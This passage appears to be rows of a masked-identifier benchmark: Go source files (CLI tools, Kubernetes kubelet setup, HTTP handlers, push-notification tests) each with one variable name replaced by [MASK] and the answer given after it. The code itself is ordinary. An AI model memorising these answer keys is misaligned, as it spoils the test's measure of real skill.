""github.com/bukalapak/envsync"" ""github.com/urfave/cli"" ) func main() { var source string var target string syncer := &envsync.Syncer{} [MASK] := cli.NewApp() [MASK] .Name = ""envsync"" [MASK] .Usage = ""synchronize source env and target env file"" [MASK] .UsageText = ""envsync -s [source env] -t [target env]"" [MASK] .Version = envsync.VERSION [MASK] .Copyright = ""Bukalapak™ © 2019"" [MASK] .Authors = []cli.Author{ { Name: ""PT Bukalapak.com"", }, } [MASK] .Flags = []cli.Flag{ cli.StringFlag{ Name: ""source, s"", Usage: ""set source env"", Value: ""env.sample"", Destination: &source, }, cli.StringFlag{ Name: ""target, t"", Usage: ""set target env"", Value: "".env"", Destination: &target, }, } [MASK] .Action = func(c *cli.Context) error { err := syncer.Sync(source, target) if err == nil { fmt.Println(""source and target are successfully synchronized"") } else { fmt.Println(err.Error()) } return err } [MASK] .Run(os.Args) } ",app 109,"package main import ( ""fmt"" ""net"" ) //Ensure that we can listen on the local address func checkBindPermission(laddr string, proto NetProto) error { [MASK] , err := net.ResolveIPAddr(proto.String(), laddr) if err != nil { return err } conn, err := net.ListenIP(proto.String()+"":tcp"", [MASK] ) if err != nil { return err } defer conn.Close() return nil } //Get the local non-loopback ip address func getLocalAddress() (string, error) { addrs, err := net.InterfaceAddrs() if err != nil { return """", err } for _, addr := range addrs { if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { if ipnet.IP.To4() != nil { return ipnet.IP.String(), err } if ipnet.IP.To16() != nil { return ipnet.IP.String(), err } } } return """", fmt.Errorf(""unable to find local ip address"") } ",lnet 110,"package main import ( ""context"" ""cryptcloud-core/internal/config"" ""cryptcloud-core/internal/db"" ""cryptcloud/internal/otellogging"" ""errors"" ""fmt"" ""log"" ""os"" ""os/signal"" ""github.com/go-chi/chi/v5"" ""github.com/go-chi/chi/v5/middleware"" ) // main is the entrypoint for the application. // // It loads the configuration file, sets up the database connection, and starts // the server. // // Parameters: // // err error - error from loading configuration file. // // Returns: // // error - if there was an error running the application. func main() { if err := run(nil); err != nil { log.Fatalf(""error running application: %v"", err) } } // run sets up the application and starts the server. // // Parameters: // // err *error - error from loading configuration file. // // Returns: // // error - if there was an error running the application. func run(err *error) (retErr error) { ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) defer stop() // load config config, err := config.LoadConfig() if err != nil { return fmt.Errorf(""error loading configuration file: %w"", err) } // Set up database. if err = db.GetDatabase(ctx, config); err != nil { return fmt.Errorf(""error setting up database: %w"", err) } // Set up OpenTelemetry. // Set up OpenTelemetry. otelShutdown := otellogging.SetupOTelSDK(ctx) // Handle shutdown properly so nothing leaks. if err != nil { return fmt.Errorf(""error setting up OpenTelemetry: %w"", err) } // Handle shutdown properly so nothing leaks. defer func() { retErr = errors.Join(retErr, otelShutdown(context.Background())) }() // Set up router. [MASK] := chi.NewRouter() [MASK] .Use(middleware.Logger) return nil } ",chiRouter 111,"package main import ( ""fmt"" ""os"" ""path/filepath"" ""strings"" ) // isDefinitionFile checks if the basename of the file is definition.yaml or collection.yaml func isDefinitionFile(file string) bool { basename := filepath.Base(file) return basename == ""definition.yaml"" || basename == ""collection.yaml"" } // reduceRelated keeps only the definition files that are siblings or in a parten directory of the given file func reduceRelated(file string, files []string) []string { var relatedFiles []string dir := filepath.Dir(file) for _, f := range files { otherDir := filepath.Dir(f) if isDefinitionFile(f) && strings.HasPrefix(dir, otherDir) { relatedFiles = append(relatedFiles, f) } } return relatedFiles } func main() { var [MASK] bool files := os.Args[1:] for _, file := range files { // fmt.Println(""Processing file "", file) if isDefinitionFile(file) { // fmt.Println(""Skipping definition file "", file) continue } relatedFiles := reduceRelated(file, files) if len(relatedFiles) == 0 { [MASK] = true fmt.Println(""Error: Version bump missing for file "", file) } } if [MASK] { os.Exit(1) } } ",missingVersionBump 112,"// Copyright © 2017 The virtual-kubelet authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package root import ( ""context"" ""github.com/kok-stack/native-kubelet/internal/ext"" ""path"" ""github.com/kok-stack/native-kubelet/cmd/virtual-kubelet/internal/provider"" ""github.com/kok-stack/native-kubelet/errdefs"" ""github.com/kok-stack/native-kubelet/internal/manager"" ""github.com/kok-stack/native-kubelet/log"" ""github.com/kok-stack/native-kubelet/node"" ""github.com/kok-stack/native-kubelet/node/nodeutil"" ""github.com/pkg/errors"" ""github.com/spf13/cobra"" corev1 ""k8s.io/api/core/v1"" k8serrors ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" kubeinformers ""k8s.io/client-go/informers"" ""k8s.io/client-go/kubernetes/scheme"" corev1client ""k8s.io/client-go/kubernetes/typed/core/v1"" ""k8s.io/client-go/tools/record"" ) // NewCommand creates a new top-level command. // This command is used to start the virtual-kubelet daemon func NewCommand(ctx context.Context, name string, s *provider.Store, c Opts) *cobra.Command { cmd := &cobra.Command{ Use: name, Short: name + "" provides a virtual kubelet interface for your kubernetes cluster."", Long: name + ` implements the Kubelet interface with a pluggable backend implementation allowing users to create kubernetes nodes without running the kubelet. This allows users to schedule kubernetes workloads on nodes that aren't running Kubernetes.`, RunE: func(cmd *cobra.Command, args []string) error { return runRootCommand(ctx, s, c) }, } installFlags(cmd.Flags(), &c) return cmd } func runRootCommand(ctx context.Context, s *provider.Store, c Opts) error { ctx, cancel := context.WithCancel(ctx) defer cancel() if ok := provider.ValidOperatingSystems[c.OperatingSystem]; !ok { return errdefs.InvalidInputf(""operating system %q is not supported"", c.OperatingSystem) } if c.PodSyncWorkers == 0 { return errdefs.InvalidInput(""pod sync workers must be greater than 0"") } var taint *corev1.Taint if !c.DisableTaint { var err error taint, err = getTaint(c) if err != nil { return err } } client, err := nodeutil.ClientsetFromEnv(c.KubeConfigPath) if err != nil { return err } // Create a shared informer factory for Kubernetes pods in the current namespace (if specified) and scheduled to the current node. podInformerFactory := kubeinformers.NewSharedInformerFactoryWithOptions( client, c.InformerResyncPeriod, kubeinformers.WithNamespace(c.KubeNamespace), nodeutil.PodInformerFilter(c.NodeName), ) podInformer := podInformerFactory.Core().V1().Pods() // Create another shared informer factory for Kubernetes secrets and configmaps (not subject to any selectors). scmInformerFactory := kubeinformers.NewSharedInformerFactoryWithOptions(client, c.InformerResyncPeriod) // Create a secret informer and a config map informer so we can pass their listers to the resource manager. secretInformer := scmInformerFactory.Core().V1().Secrets() configMapInformer := scmInformerFactory.Core().V1().ConfigMaps() serviceInformer := scmInformerFactory.Core().V1().Services() namespacesInformer := scmInformerFactory.Core().V1().Namespaces() rm, err := manager.NewResourceManagerWithMultiLister(client, podInformer.Lister(), secretInformer.Lister(), configMapInformer.Lister(), serviceInformer.Lister(), namespacesInformer.Lister()) if err != nil { return errors.Wrap(err, ""could not create resource manager"") } apiConfig, err := getAPIConfig(c) if err != nil { return err } if err := setupTracing(ctx, c); err != nil { return err } initConfig := provider.InitConfig{ ConfigPath: c.ProviderConfigPath, NodeName: c.NodeName, OperatingSystem: c.OperatingSystem, ResourceManager: rm, DaemonPort: c.ListenPort, InternalIP: ext.GetNodeIPFromEnv(), KubeClusterDomain: c.KubeClusterDomain, Version: c.Version, } pInit := s.Get(c.Provider) if pInit == nil { return errors.Errorf(""provider %q not found"", c.Provider) } p, err := pInit(initConfig) if err != nil { return errors.Wrapf(err, ""error initializing provider %s"", c.Provider) } ctx = log.WithLogger(ctx, log.G(ctx).WithFields(log.Fields{ ""provider"": c.Provider, ""operatingSystem"": c.OperatingSystem, ""node"": c.NodeName, ""watchedNamespace"": c.KubeNamespace, })) pNode := NodeFromProvider(ctx, c.NodeName, taint, p, c.Version) var np node.NodeProvider nodeProvider, ok := p.(node.NodeProvider) if !ok { np = node.NewNaiveNodeProvider() } else { np = nodeProvider } additionalOptions := []node.NodeControllerOpt{ node.WithNodeStatusUpdateErrorHandler(func(ctx context.Context, err error) error { if !k8serrors.IsNotFound(err) { return err } log.G(ctx).Debug(""node not found"") [MASK] := pNode.DeepCopy() [MASK] .ResourceVersion = """" _, err = client.CoreV1().Nodes().Create(ctx, [MASK] , metav1.CreateOptions{}) if err != nil { return err } log.G(ctx).Debug(""created new node"") return nil }), } if c.EnableNodeLease { leaseClient := nodeutil.NodeLeaseV1Client(client) // 40 seconds is the default lease time in upstream kubelet additionalOptions = append(additionalOptions, node.WithNodeEnableLeaseV1(leaseClient, 40)) } nodeRunner, err := node.NewNodeController( np, pNode, client.CoreV1().Nodes(), additionalOptions..., ) if err != nil { log.G(ctx).Fatal(err) } eb := record.NewBroadcaster() eb.StartLogging(log.G(ctx).Infof) eb.StartRecordingToSink(&corev1client.EventSinkImpl{Interface: client.CoreV1().Events(c.KubeNamespace)}) pc, err := node.NewPodController(node.PodControllerConfig{ PodClient: client.CoreV1(), PodInformer: podInformer, EventRecorder: eb.NewRecorder(scheme.Scheme, corev1.EventSource{Component: path.Join(pNode.Name, ""pod-controller"")}), Provider: p, SecretInformer: secretInformer, ConfigMapInformer: configMapInformer, ServiceInformer: serviceInformer, }) if err != nil { return errors.Wrap(err, ""error setting up pod controller"") } go podInformerFactory.Start(ctx.Done()) go scmInformerFactory.Start(ctx.Done()) cancelHTTP, err := setupHTTPServer(ctx, p, apiConfig, func(context.Context) ([]*corev1.Pod, error) { return rm.GetPods(), nil }) if err != nil { return err } defer cancelHTTP() go func() { if err := pc.Run(ctx, c.PodSyncWorkers); err != nil && errors.Cause(err) != context.Canceled { log.G(ctx).Fatal(err) } }() if c.StartupTimeout > 0 { ctx, cancel := context.WithTimeout(ctx, c.StartupTimeout) log.G(ctx).Info(""Waiting for pod controller / VK to be ready"") select { case <-ctx.Done(): cancel() return ctx.Err() case <-pc.Ready(): } cancel() if err := pc.Err(); err != nil { return err } } go func() { if err := nodeRunner.Run(ctx); err != nil { log.G(ctx).Fatal(err) } }() setNodeReady(pNode) //if err := np.UpdateStatus(ctx, pNode); err != nil { // return errors.Wrap(err, ""error marking the node as ready"") //} log.G(ctx).Info(""Initialized"") <-ctx.Done() return nil } func setNodeReady(n *corev1.Node) { for i, c := range n.Status.Conditions { if c.Type != ""Ready"" { continue } c.Message = ""Kubelet is ready"" c.Reason = ""KubeletReady"" c.Status = corev1.ConditionTrue c.LastHeartbeatTime = metav1.Now() c.LastTransitionTime = metav1.Now() n.Status.Conditions[i] = c return } } ",newNode 113,"package controllers import ( ""encoding/json"" ""io/ioutil"" ""net/http"" redis_authories ""spike/helps/redis"" ""github.com/gin-gonic/gin"" ""github.com/unrolled/render"" ) type AuthorityController struct { ApplicationController } const ( AuthorityKey = ""ALLIANCE::AUTHORITY"" ) func (ctrl AuthorityController) New(c *gin.Context) { ctrl.Render.HTML(c.Writer, http.StatusOK, ""authority/index"", nil, render.HTMLOptions{Layout: ""authority/templates""}) } func (ctrl AuthorityController) All(c *gin.Context) { resp := ctrl.NewResponse() allianceRedis := redis_authories.Alliance{Redis: ctrl.RedisPool, Key: AuthorityKey} authories := make([]redis_authories.Authority, 0) s := allianceRedis.GetAll() err := json.Unmarshal([]byte(s), &authories) if err != nil { resp.ErrorCode = 1 resp.ErrorMessage = err.Error() c.JSON(http.StatusOK, resp) return } resp.ErrorCode = 0 resp.Data = authories c.JSON(http.StatusOK, resp) } func (ctrl AuthorityController) Save(c *gin.Context) { resp := ctrl.NewResponse() [MASK] , err := ioutil.ReadAll(ioutil.NopCloser(c.Request.Body)) if err != nil { resp.ErrorCode = 1 resp.ErrorMessage = ""参数解析错误"" c.JSON(http.StatusOK, resp) return } defer c.Request.Body.Close() authories := make([]redis_authories.Authority, 0) err = json.Unmarshal( [MASK] , &authories) if err != nil { resp.ErrorCode = 1 resp.ErrorMessage = err.Error() c.JSON(http.StatusOK, resp) return } allianceRedis := redis_authories.Alliance{Redis: ctrl.RedisPool, Key: AuthorityKey} err = allianceRedis.Save(string( [MASK] )) if err != nil { resp.ErrorCode = 1 resp.ErrorMessage = err.Error() c.JSON(http.StatusOK, resp) return } resp.ErrorCode = 0 resp.Data = authories c.JSON(http.StatusOK, resp) } ",data 114,"package main import ( ""bytes"" ""fmt"" ""io"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ""sync"" ) const dataFile = ""./players.json"" var playerMutex = new(sync.Mutex) // Handle players func handlePlayers(w http.ResponseWriter, r *http.Request) { // Since multiple requests could come in at once, ensure we have a lock // around all file operations playerMutex.Lock() defer playerMutex.Unlock() // Stat the file, so we can find its current permissions _, err := os.Stat(dataFile) if err != nil { http.Error(w, fmt.Sprintf(""Unable to stat the data file (%s): %s"", dataFile, err), http.StatusInternalServerError) return } // Read the players from the file. [MASK] , err := ioutil.ReadFile(dataFile) if err != nil { http.Error(w, fmt.Sprintf(""Unable to read the data file (%s): %s"", dataFile, err), http.StatusInternalServerError) return } switch r.Method { case ""GET"": w.Header().Set(""Content-Type"", ""application/json"") w.Header().Set(""Cache-Control"", ""no-cache"") // stream the contents of the file to the response io.Copy(w, bytes.NewReader( [MASK] )) default: // Don't know the method, so error http.Error(w, fmt.Sprintf(""Unsupported method: %s"", r.Method), http.StatusMethodNotAllowed) } } func main() { port := os.Getenv(""PORT"") if port == """" { port = ""3000"" } http.HandleFunc(""/api/players"", handlePlayers) http.Handle(""/"", http.FileServer(http.Dir(""./public""))) log.Println(""Server started: http://localhost:"" + port) log.Fatal(http.ListenAndServe("":""+port, nil)) } ",playerData 115,"package common import ( ""fmt"" ""github.com/fsnotify/fsnotify"" ""os"" ""os/signal"" ""syscall"" ) // StartMonitor 启用文件监控和信号监控 func StartMonitor(folderPath string) (*fsnotify.Watcher, chan os.Signal, error) { watcher, err := newFSWatcher(folderPath) if err != nil { return nil, nil, fmt.Errorf(""failed to create FS watcher: %v"", err) } [MASK] := make(chan os.Signal, 1) signal.Notify( [MASK] , syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT) // notify函数将感兴趣的信号(于第二个参数及以后),转发到channel(第一个参数)。signal包不会为了向c发送信息而阻塞(就是说如果发送时c阻塞了,signal包会直接放弃):调用者应该保证c有足够的缓存空间可以跟上期望的信号频率。对使用单一信号用于通知的通道,缓存为1就足够了。 return watcher, [MASK] , nil } // newFSWatcher 输入多个要监控的文件路径。 如果文件有变动,可以通过watcher.Events事件来捕获 func newFSWatcher(files ...string) (*fsnotify.Watcher, error) { watcher, err := fsnotify.NewWatcher() if err != nil { return nil, err } for _, f := range files { err = watcher.Add(f) if err != nil { watcher.Close() return nil, err } } return watcher, nil } ",sigChan 116,"package main import ( ""flag"" ""fmt"" ""log"" ""os"" ""path/filepath"" ""regexp"" ""strconv"" ""github.com/carlzhc-go/sh"" ""github.com/gookit/ini/v2"" ""github.com/icza/gog"" ) // Global variables var dryRun bool var configFile string // First run func init() { log.SetFlags(0) flag.BoolVar(&dryRun, ""n"", false, ""Run in dry-run mode"") flag.Parse() configFile = flag.Arg(0) if configFile == """" { log.Fatalln(""Usage: rename-drama [-n] CONFIG-FILE"") } if err := ini.LoadFiles(configFile); err != nil { log.Fatalln(err) } } func renameDrama(pattern, extension, dramaName string) { var serial int var err error re := regexp.MustCompile(pattern) fileNames := gog.Must(filepath.Glob(""*"" + extension)) for _, fileName := range fileNames { if !sh.Test(""-f"", fileName) { continue } // Try to determine the serial number from the file name. log.Println(""Checking file "" + fileName) matches := re.FindStringSubmatch(fileName) if matches == nil || len(matches) < 2 { continue } serial, err = strconv.Atoi(matches[1]) if err != nil { continue } var ext string if extension == """" { ext = filepath.Ext(fileName) } else { ext = extension } newName := fmt.Sprintf(""%s-%03d%s"", dramaName, serial, ext) if dryRun { log.Printf(""[DRY-RUN] Rename '%s' -> '%s'\n"", fileName, newName) } else if err := os.Rename(fileName, newName); err != nil { log.Fatalf(""Cannot rename file '%s' -> '%s'\n"", fileName, newName) } else { log.Printf(""Rename '%s' -> '%s'\n"", fileName, newName) } } } func main() { // Entering destination directory [MASK] := filepath.Dir(configFile) if err := os.Chdir( [MASK] ); err != nil { log.Fatal(err) } log.Printf(""Entering %s\n"", [MASK] ) pattern := ini.String(""pattern"") extension := ini.String(""extension"") dramaName := ini.String(""name"") if pattern == """" { log.Fatal(""Parameter 'pattern' not found in config file "" + configFile) } if dramaName == """" { cwd := gog.Must(os.Getwd()) dramaName = filepath.Base(cwd) } if dramaName == """" || dramaName == ""/"" || dramaName == ""."" || dramaName == ""\\"" { log.Fatalln(""No name provided or cannot deduce name from directory name"") } log.Println(""File name pattern: "", pattern) renameDrama(pattern, extension, dramaName) } ",destDir 117,"package main import ( ""fmt"" ""os"" ""strings"" ""github.com/openmined/syftbox/internal/client/apps"" ""github.com/openmined/syftbox/internal/client/workspace"" ""github.com/spf13/cobra"" ) func init() { appCmd := newAppCmd() appCmd.AddCommand(newAppCmdList()) appCmd.AddCommand(newAppCmdInstall()) appCmd.AddCommand(newAppCmdUninstall()) rootCmd.AddCommand(appCmd) } func newAppCmd() *cobra.Command { appCmd := &cobra.Command{ Use: ""app"", Short: ""Manage SyftBox apps"", } return appCmd } func newAppCmdInstall() *cobra.Command { var branch string var tag string var commit string var force bool var useGit bool appCmdInstall := &cobra.Command{ Use: ""install [URL]"", Aliases: []string{""i"", ""add""}, Short: ""Install a SyftBox app"", Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { repo := args[0] installer, err := getAppManager(cmd) if err != nil { fmt.Printf(""%s: %s\n"", red.Render(""ERROR""), err) os.Exit(1) } app, err := installer.InstallApp(cmd.Context(), apps.AppInstallOpts{ URI: repo, Branch: branch, Tag: tag, Commit: commit, Force: force, UseGit: useGit, }) if err != nil { fmt.Printf(""%s: %s\n"", red.Render(""ERROR""), err) os.Exit(1) } fmt.Printf(""Installed '%s' at '%s'\n"", cyan.Bold(true).Render(app.Name), green.Bold(true).Render(app.Path)) }, } appCmdInstall.Flags().SortFlags = false appCmdInstall.Flags().StringVarP(&branch, ""branch"", """", ""main"", ""Branch to install from"") appCmdInstall.Flags().StringVarP(&tag, ""tag"", """", """", ""Tag of the repo to install from"") appCmdInstall.Flags().StringVarP(&commit, ""commit"", """", """", ""Commit hash of the repo to install from"") appCmdInstall.Flags().BoolVarP(&force, ""force"", ""f"", false, ""Force install"") appCmdInstall.Flags().BoolVarP(&useGit, ""use-git"", ""g"", true, ""Use git to install"") return appCmdInstall } func newAppCmdUninstall() *cobra.Command { appCmdUninstall := &cobra.Command{ Use: ""uninstall [APPID or URI]"", Aliases: []string{""u"", ""rm""}, Short: ""Uninstall a SyftBox app"", Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { [MASK] := args[0] manager, err := getAppManager(cmd) if err != nil { fmt.Printf(""%s: %s\n"", red.Render(""ERROR""), err) os.Exit(1) } appID, err := manager.UninstallApp( [MASK] ) if err != nil { fmt.Printf(""%s: %s\n"", red.Render(""ERROR""), err) os.Exit(1) } fmt.Printf(""Uninstalled '%s'\n"", green.Bold(true).Render(appID)) }, } return appCmdUninstall } func newAppCmdList() *cobra.Command { appCmdList := &cobra.Command{ Use: ""list"", Aliases: []string{""ls""}, Short: ""List SyftBox apps"", Run: func(cmd *cobra.Command, args []string) { manager, err := getAppManager(cmd) if err != nil { fmt.Printf(""%s: %s\n"", red.Render(""ERROR""), err) os.Exit(1) } appList, err := manager.ListApps() if err != nil { fmt.Printf(""%s: %s\n"", red.Render(""ERROR""), err) os.Exit(1) } if len(appList) == 0 { fmt.Printf(""No apps installed at '%s'\n"", cyan.Render(manager.AppsDir)) os.Exit(0) } var sb strings.Builder for idx, app := range appList { if idx > 0 { sb.WriteString(""\n"") } var src string sb.WriteString(fmt.Sprintf(""%s%s\n"", gray.Render(""ID ""), green.Render(app.ID))) sb.WriteString(fmt.Sprintf(""%s%s\n"", gray.Render(""Path ""), cyan.Render(app.Path))) if app.Source != apps.AppSourceLocalDir { if app.Branch != """" { src = app.Branch } else if app.Tag != """" { src = app.Tag } else { src = app.Commit } } else { src = app.Source } sb.WriteString(fmt.Sprintf(""%s%s (%s)\n"", gray.Render(""Source ""), app.SourceURI, src)) } fmt.Print(sb.String()) }, } return appCmdList } func getAppManager(cmd *cobra.Command) (*apps.AppManager, error) { // fetched from main/rootCmd/persistentFlags configPath := cmd.Flag(""config"").Value.String() cfg, err := readValidConfig(configPath, false) if err != nil { return nil, err } datasite, err := workspace.NewWorkspace(cfg.DataDir, cfg.Email) if err != nil { return nil, err } manager := apps.NewManager(datasite.AppsDir, datasite.MetadataDir) return manager, nil } ",uri 118,"// Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package git import ( ""bufio"" ""os"" ""path"" ) type repoLister struct { } func NewRepoLister() ProjectLister { var rl repoLister return &rl } func (rl repoLister) List(codebasePath string) ([]string, error) { projectList := []string{"".repo""} listPath := path.Join(codebasePath, "".repo/project.list"") listFile, err := os.Open(listPath) if err != nil { return projectList, err } defer listFile.Close() [MASK] := bufio.NewScanner(listFile) for [MASK] .Scan() { line := [MASK] .Text() if line != """" { projectList = append(projectList, line) } } return projectList, err } ",scanner 119,"package crud import ( ""bytes"" ""encoding/json"" ""fmt"" ""io"" ""net/http"" ""net/url"" ""reflect"" ) type ServeMuxAdapter struct { Engine *http.ServeMux } func NewServeMuxAdapter() *ServeMuxAdapter { return &ServeMuxAdapter{ Engine: http.NewServeMux(), } } type MiddlewareFunc func(http.Handler) http.Handler func (a *ServeMuxAdapter) Install(r *Router, spec *Spec) error { middlewares := []MiddlewareFunc{ validateHandlerMiddleware(r, spec), } switch v := spec.PreHandlers.(type) { case nil: case []MiddlewareFunc: middlewares = append(middlewares, v...) case MiddlewareFunc: middlewares = append(middlewares, v) case func(http.Handler) http.Handler: middlewares = append(middlewares, v) default: return fmt.Errorf(""PreHandlers must be MiddlewareFunc, got: %v"", reflect.TypeOf(spec.Handler)) } var finalHandler http.Handler switch v := spec.Handler.(type) { case nil: return fmt.Errorf(""handler must not be nil"") case http.HandlerFunc: finalHandler = v case func(http.ResponseWriter, *http.Request): finalHandler = http.HandlerFunc(v) case http.Handler: finalHandler = v default: return fmt.Errorf(""handler must be http.HandlerFunc, got %v"", reflect.TypeOf(spec.Handler)) } // install the route, use a subrouter so the ""use"" is scoped path := fmt.Sprintf(""%s %s"", spec.Method, spec.Path) subrouter := http.NewServeMux() subrouter.HandleFunc(path, func(w http.ResponseWriter, r *http.Request) { handler := finalHandler for i := len(middlewares) - 1; i >= 0; i-- { handler = middlewares[i](handler) } handler.ServeHTTP(w, r) }) a.Engine.Handle(path, subrouter) return nil } func (a *ServeMuxAdapter) Serve(swagger *Swagger, addr string) error { a.Engine.HandleFunc(""GET /swagger.json"", func(w http.ResponseWriter, r *http.Request) { _ = json.NewEncoder(w).Encode(swagger) }) a.Engine.HandleFunc(""GET /"", func(w http.ResponseWriter, r *http.Request) { w.Header().Set(""content-type"", ""text/html"") _, err := w.Write(SwaggerUiTemplate) if err != nil { panic(err) } }) return http.ListenAndServe(addr, a.Engine) } func validateHandlerMiddleware(router *Router, spec *Spec) MiddlewareFunc { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { val := spec.Validate var query url.Values var body interface{} var path map[string]string if val.Path.Initialized() { path = map[string]string{} for name := range val.Path.obj { path[name] = r.PathValue(name) } } var rewriteBody bool if val.Body.Initialized() && val.Body.Kind() != KindFile { if err := json.NewDecoder(r.Body).Decode(&body); err != nil { w.WriteHeader(400) _ = json.NewEncoder(w).Encode(""failure decoding body: "" + err.Error()) return } rewriteBody = true } var [MASK] bool if val.Query.Initialized() { query = r.URL.Query() [MASK] = true } if err := router.Validate(val, query, body, path); err != nil { w.WriteHeader(400) _ = json.NewEncoder(w).Encode(err.Error()) return } // Validate can strip values that are not valid, so we rewrite them // after validation is complete. Can't use defer as in other adapters // because next.ServeHTTP calls the next handler and defer hasn't // run yet. if rewriteBody { data, _ := json.Marshal(body) _ = r.Body.Close() r.Body = io.NopCloser(bytes.NewReader(data)) } if [MASK] { r.URL.RawQuery = query.Encode() } next.ServeHTTP(w, r) }) } } ",rewriteQuery 120,"package baidupush import ( ""fmt"" ""net/url"" ""testing"" ""time"" ) var ( channelID = ""YOUR DEVICE CHANNELID HERE"" apiKey = ""YOUR API KEY HERE"" secret = ""YOUR API SECRET HERE"" channel = NewChannelDefaultHost(apiKey, secret, AndroidDeviceType) ) func TestPushMsgToSingleDevice(t *testing.T) { msg := `{ ""title"": ""hello"", ""description"": ""hello world"", ""notification_basic_style"": 7, ""open_type"": 1, ""url"": ""http://developer.baidu.com"", ""custom_content"":{""push"":""single_device""} }` opts := url.Values{} msgType := fmt.Sprintf(""%d"", MsgTypeNotice) opts.Add(""msg_type"", msgType) msgID, sendTime, err := channel.PushMsgToSingleDevice(channelID, msg, opts) if err != nil { t.Fatal(""push to single error"", err) } fmt.Printf(""push to single success, request ID %d message ID %s time %d\n"", channel.GetRequestID(), msgID, sendTime) } func TestPushMsgToAllDevice(t *testing.T) { msg := `{ ""title"": ""hello"", ""description"": ""hello world"", ""notification_basic_style"": 7, ""open_type"": 1, ""url"": ""http://developer.baidu.com"", ""custom_content"":{""push"":""all""} }` opts := url.Values{} msgType := fmt.Sprintf(""%d"", MsgTypeNotice) opts.Add(""msg_type"", msgType) msgID, timerID, sendTime, err := channel.PushMsgToAllDevices(msg, opts) if err != nil { t.Fatal(""push to all error"", err) } fmt.Printf(""push to all success, request ID %d message ID %s timer ID %s time %d\n"", channel.GetRequestID(), msgID, timerID, sendTime) } func TestPushMsgToTagDevice(t *testing.T) { msg := `{ ""title"": ""hello"", ""description"": ""hello world"", ""notification_basic_style"": 7, ""open_type"": 1, ""url"": ""http://developer.baidu.com"", ""custom_content"":{""push"":""tag""} }` opts := url.Values{} msgType := fmt.Sprintf(""%d"", MsgTypeNotice) opts.Add(""msg_type"", msgType) msgID, timerID, sendTime, err := channel.PushMsgToTaggedDevices(""default"", msg, opts) if err != nil { t.Error(""push to tag error"", err) } fmt.Printf(""push to tag success, request ID %d message ID %s timer ID %s time %d\n"", channel.GetRequestID(), msgID, timerID, sendTime) num, results, err := channel.QueryMsgStatus(msgID) if err != nil { t.Error(""query msg status error"", err) } if num != 1 { t.Errorf(""message num %d want 1"", num) } if results[0].MsgID != msgID { t.Errorf(""message ID %s want %s"", results[0].MsgID, msgID) } } func TestPushMsgToBatchDevice(t *testing.T) { msg := `{ ""title"": ""hello"", ""description"": ""hello world"", ""notification_basic_style"": 7, ""open_type"": 1, ""url"": ""http://developer.baidu.com"", ""custom_content"":{""push"":""batch""} }` opts := url.Values{} msgType := fmt.Sprintf(""%d"", MsgTypeNotice) opts.Add(""msg_type"", msgType) topicID := ""topic_batch"" opts.Add(""topic_id"", topicID) msgID, sendTime, err := channel.PushMsgToBatchDevices([]string{channelID}, msg, opts) if err != nil { t.Error(""push to batch error"", err) } fmt.Printf(""push to batch success, request ID %d message ID %s time %d\n"", channel.GetRequestID(), msgID, sendTime) topic, _, err := channel.QueryTopicRecords(topicID, nil) if err != nil { t.Error(""query topic records error"", err) } if topic != topicID { t.Errorf(""return topic %s want %s"", topic, topicID) } total, topicResults, err := channel.QueryTopicList(nil) if err != nil { t.Error(""query topic list error"", err) } if total != 1 { t.Errorf(""total %d want 1"", total) } if topicResults[0].Topic != topicID { t.Errorf(""return topic %s want %s"", topicResults[0].Topic, topicID) } total, stats, err := channel.ReportTopicStatistics(topicID) if err != nil { t.Errorf(""report topic %s stat error %s"", topicID, err) } if total != 1 { t.Errorf(""total %d want 1"", total) } if len(stats) != 1 { t.Errorf(""stats length %d want 1"", len(stats)) } } func TestReportDeviceStat(t *testing.T) { total, devStat, err := channel.ReportDeviceStatistics() if err != nil { t.Error(""report device statistics error"", err) } if total != 1 { t.Errorf(""total %d want 1"", total) } if len(devStat) != 1 { t.Errorf(""device stat length %d want 1"", len(devStat)) } } func TestPushTimeMsg(t *testing.T) { msg := `{ ""title"": ""hello"", ""description"": ""hello world"", ""notification_basic_style"": 7, ""open_type"": 1, ""url"": ""http://developer.baidu.com"", ""custom_content"":{""push"":""timed""} }` opts := url.Values{} msgType := fmt.Sprintf(""%d"", MsgTypeNotice) opts.Add(""msg_type"", msgType) opts.Add(""send_time"", fmt.Sprintf(""%d"", time.Now().Add(2*time.Minute).Unix())) time.Sleep(4 * time.Second) // in case of push message too frequently to return error 30699 msgID, timerID, sendTime, err := channel.PushMsgToAllDevices(msg, opts) if err != nil { t.Fatal(""push to all error"", err) } fmt.Printf(""push to all success, request ID %d message ID %s timer ID %s time %d\n"", channel.GetRequestID(), msgID, timerID, sendTime) [MASK] , _, err := channel.QueryTimerRecords(timerID, nil) if err != nil { t.Error(""query timer records error"", err) } if [MASK] != timerID { t.Errorf(""return timer ID %s want %s"", [MASK] , timerID) } opts = url.Values{} opts.Add(""timer_id"", [MASK] ) totalNum, results, err := channel.QueryTimerTasks(opts) if err != nil { t.Error(""query timer tasks error"", err) } if totalNum != 1 { t.Errorf(""total num %d want 1"", totalNum) } if results[0].ID != [MASK] { t.Errorf(""timer ID %s want %s"", results[0].ID, [MASK] ) } err = channel.CancelTimerTask( [MASK] ) if err != nil { t.Errorf(""cancel timer %s error %v"", [MASK] , err) } } func 